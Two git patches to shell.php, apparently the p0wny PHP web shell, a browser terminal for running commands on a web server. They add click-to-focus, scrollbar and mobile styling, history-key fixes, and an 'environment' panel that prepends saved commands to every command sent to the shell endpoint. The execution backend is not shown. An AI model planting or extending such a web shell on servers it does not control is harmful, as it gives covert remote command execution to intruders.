From 9d52c77207c63cd810a8dc30dd0140111cd25e7d Mon Sep 17 00:00:00 2001
From: nakamuraos <thinhhoang3030@gmail.com>
Date: Thu, 7 Jan 2021 11:40:11 +0700
Subject: [PATCH 1/2] Add click anywhere will focus to shell input

---
 shell.php | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)
diff --git a/shell.php b/shell.php
index 8d395bf..9bb37af 100644
--- a/shell.php
+++ b/shell.php
@@ -427,6 +427,13 @@ function getQueryString() {
                 xhr.send(getQueryString());
             }
 
+            function focusShellCmd() {
+                var selection = window.getSelection();
+                if(!selection.toString()) {
+                    document.getElementById('shell-cmd').focus();
+                }
+            }
+
             window.onload = function() {
                 eShellCmdInput = document.getElementById("shell-cmd");
                 eShellContent = document.getElementById("shell-content");
@@ -436,7 +443,7 @@ function getQueryString() {
         </script>
     </head>
 
-    <body>
+    <body onclick="focusShellCmd();">
         <div id="shell">
             <pre id="shell-content">
                 <div id="shell-logo">

From 9e11f75950e851769376dfcdbad408b676a950c3 Mon Sep 17 00:00:00 2001
From: nakamuraos <thinhhoang3030@gmail.com>
Date: Mon, 11 Jan 2021 15:36:36 +0700
Subject: [PATCH 2/2] Added feature: Modify environment

---
 shell.php | 192 +++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 176 insertions(+), 16 deletions(-)

diff --git a/shell.php b/shell.php
index 9bb37af..169b3cd 100644
--- a/shell.php
+++ b/shell.php
@@ -118,6 +118,22 @@ function featureUpload($path, $file, $cwd) {
                 color: #eee;
                 font-family: monospace;
             }
+            
+            *::-webkit-scrollbar-track {
+            	border-radius: 8px;
+            	background-color: #353535;
+            }
+            
+            *::-webkit-scrollbar {
+            	width: 8px;
+                height: 8px;
+            }
+            
+            *::-webkit-scrollbar-thumb {
+            	border-radius: 8px;
+            	-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
+            	background-color: #bcbcbc;
+            }
 
             #shell {
                 background: #222;
@@ -146,7 +162,8 @@ function featureUpload($path, $file, $cwd) {
 
             @media (max-width: 991px) {
                 #shell-logo {
-                    display: none;
+                    font-size: 6px;
+                    margin: -25px 0;
                 }
 
                 html, body, #shell {
@@ -166,6 +183,12 @@ function featureUpload($path, $file, $cwd) {
                 }
             }
 
+            @media (max-width: 320px) {
+                #shell-logo {
+                    font-size: 5px;
+                }
+            }
+
             .shell-prompt {
                 font-weight: bold;
                 color: #75DF0B;
@@ -181,7 +204,8 @@ function featureUpload($path, $file, $cwd) {
                 border-top: rgba(255, 255, 255, .05) solid 1px;
             }
 
-            #shell-input > label {
+            #shell-input > label,
+            #shell-environment > label {
                 flex-grow: 0;
                 display: block;
                 padding: 0 5px;
@@ -189,7 +213,9 @@ function featureUpload($path, $file, $cwd) {
                 line-height: 30px;
             }
 
-            #shell-input #shell-cmd {
+            #shell-input #shell-cmd,
+            #shell-environment select,
+            #shell-environment button {
                 height: 30px;
                 line-height: 30px;
                 border: none;
@@ -206,9 +232,40 @@ function featureUpload($path, $file, $cwd) {
                 align-items: stretch;
             }
 
-            #shell-input input {
+            #shell-input input,
+            #shell-environment select,
+            #shell-environment button {
                 outline: none;
             }
+            
+            #shell-environment {
+                display: flex;
+                box-shadow: 0 1px 0 rgba(0, 0, 0, .3);
+                border-bottom: rgba(255, 255, 255, .05) solid 1px;
+            }
+            
+            #shell-environment span {
+                display: inline;
+            }
+            
+            #shell-environment button {
+                width: initial;
+                min-width: 35px;
+                font-weight: bold;
+            }
+            
+            #shell-environment select option {
+                background: #222;
+            }
+            
+            #shell-environment label,
+            #shell-environment button {
+                border-right: 1px solid rgba(255, 255, 255, .05);
+            }
+            
+            #shell-environment button:hover {
+                background: rgba(255, 255, 255, .05);
+            }
         </style>
 
         <script>
@@ -217,6 +274,11 @@ function featureUpload($path, $file, $cwd) {
             var historyPosition = 0;
             var eShellCmdInput = null;
             var eShellContent = null;
+            var CMD_ENV = [];
+            var promptAddEnv = "Type a comand...\nThis command will execute before your command.\nE.x: export HOME=\"/home/p0wny\"";
+            var $ = function (e) {
+                return document.getElementById(e);
+            } 
 
             function _insertCommand(command) {
                 eShellContent.innerHTML += "\n\n";
@@ -240,6 +302,9 @@ function featureShell(command) {
                     // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                     eShellContent.innerHTML = '';
                 } else {
+                    if (!/^\s*(download|cd)\s+[^\s]+\s*$/.test(command)) {
+                        command = attachEnvironment(command);
+                    }
                     makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                         if (response.hasOwnProperty('file')) {
                             featureDownload(response.name, response.file)
@@ -357,7 +422,7 @@ function escapeHtml(string) {
             }
 
             function _updatePrompt() {
-                var eShellPrompt = document.getElementById("shell-prompt");
+                var eShellPrompt = $("shell-prompt");
                 eShellPrompt.innerHTML = genPrompt(CWD);
             }
 
@@ -370,10 +435,9 @@ function _onShellCmdKeyDown(event) {
                         break;
                     case "ArrowUp":
                         if (historyPosition > 0) {
-                            historyPosition--;
                             eShellCmdInput.blur();
-                            eShellCmdInput.focus();
-                            eShellCmdInput.value = commandHistory[historyPosition];
+                            eShellCmdInput.value = commandHistory[--historyPosition];
+                            setTimeout(function() { eShellCmdInput.focus(); }, 10);
                         }
                         break;
                     case "ArrowDown":
@@ -384,9 +448,9 @@ function _onShellCmdKeyDown(event) {
                         if (historyPosition === commandHistory.length) {
                             eShellCmdInput.value = "";
                         } else {
+                            eShellCmdInput.value = commandHistory[historyPosition];
                             eShellCmdInput.blur();
                             eShellCmdInput.focus();
-                            eShellCmdInput.value = commandHistory[historyPosition];
                         }
                         break;
                     case 'Tab':
@@ -426,25 +490,121 @@ function getQueryString() {
                 };
                 xhr.send(getQueryString());
             }
+            
+            function _onAddEnvironment() {
+                var cmd = prompt(promptAddEnv);
+                
+                if (cmd === null || cmd.trim() === '') {
+                    return;
+                }
+
+                cmd = cmd.trim();
+                if (CMD_ENV.indexOf(cmd) === -1) {
+                    CMD_ENV.push(cmd);
+                    
+                    var env_list = $("env-list");
+                    if (env_list.options[env_list.selectedIndex].value === "") {
+                        env_list.innerHTML = '';
+                    }
+                    env_list.insertAdjacentHTML( 'beforeend', '<option value="' + cmd + '" selected>$ ' + cmd + '</option>');
+                    
+                    $("env-applied").innerHTML = CMD_ENV.length;
+                    $("env-shell-prompt").setAttribute("title", CMD_ENV.length + " applied");
+                }
+            }
+            
+            
+            function _onEditEnvironment() {
+                if (!CMD_ENV.length) {
+                    return;
+                }
+                
+                var env_list = $("env-list");
+                var env_selected = env_list.options[env_list.selectedIndex];
+                var new_cmd = prompt(promptAddEnv, env_selected.value);
+                
+                if (new_cmd === null) {
+                    return;
+                }
+                
+                if (new_cmd.trim() === '') {
+                    envRemove();
+                    return;
+                }
+                
+                new_cmd = new_cmd.trim();
+                CMD_ENV[env_list.selectedIndex] = new_cmd;
+                env_selected.value = new_cmd;
+                env_selected.label = "$ " + new_cmd;
+            }
+            
+            
+            function _onRemoveEnvironment() {
+                var env_list = $("env-list");
+                var index = env_list.selectedIndex;
+                
+                if (!CMD_ENV.length || !confirm("Are you sure want remove this command:\n$ " + env_list.options[index].value)) {
+                    return;
+                }
+                
+                env_list.remove(index);
+                CMD_ENV.splice(index, 1);
+                
+                if (CMD_ENV.length === 0) {
+                    env_list.innerHTML = '<option value="" selected>no environment</option>';
+                }
+                
+                $("env-applied").innerHTML = CMD_ENV.length;
+                $("env-shell-prompt").setAttribute("title", CMD_ENV.length + " applied");
+            }
+            
+            function attachEnvironment(cmd) {
+                if (CMD_ENV.length === 0) {
+                    return cmd;
+                }
+                return CMD_ENV.join(";") + ";" + cmd;
+            }
+            
+            document.addEventListener('click', function(e) {
+                e = e || window.event;
+                var selection = window.getSelection(),
+                    target = e.target || e.srcElement;
+                
+                if (target.tagName === "SELECT") {
+                    return;
+                }
 
-            function focusShellCmd() {
-                var selection = window.getSelection();
                 if(!selection.toString()) {
-                    document.getElementById('shell-cmd').focus();
+                    $('shell-cmd').focus();
                 }
-            }
+            }, false);
 
             window.onload = function() {
-                eShellCmdInput = document.getElementById("shell-cmd");
-                eShellContent = document.getElementById("shell-content");
+                eShellCmdInput = $("shell-cmd");
+                eShellContent = $("shell-content");
                 updateCwd();
                 eShellCmdInput.focus();
+                
+                $("env-add").addEventListener("click", function(){ _onAddEnvironment(); });
+                $("env-edit").addEventListener("click", function(){ _onEditEnvironment(); });
+                $("env-remove").addEventListener("click", function(){ _onRemoveEnvironment(); });
             };
         </script>
     </head>
 
-    <body onclick="focusShellCmd();">
+    <body>
         <div id="shell">
+            <div id="shell-environment">
+                <label id="env-shell-prompt" class="shell-prompt" title="0 applied">
+                    <span>ENVIRONMENT[<span id="env-applied" title="">0</span>]</span>
+                </label>
+                <button id="env-add" class="env-add">&#10009;</button>
+                <button id="env-edit" class="env-edit">&#9999;</button>
+                <button id="env-remove" class="env-remove">&#10006;</button>
+                <select id="env-list">
+                    <option value="" selected>no environment</option>
+                </select>
+            </div>
             <pre id="shell-content">
                 <div id="shell-logo">
         ___                         ____      _          _ _        _  _   <span></span>
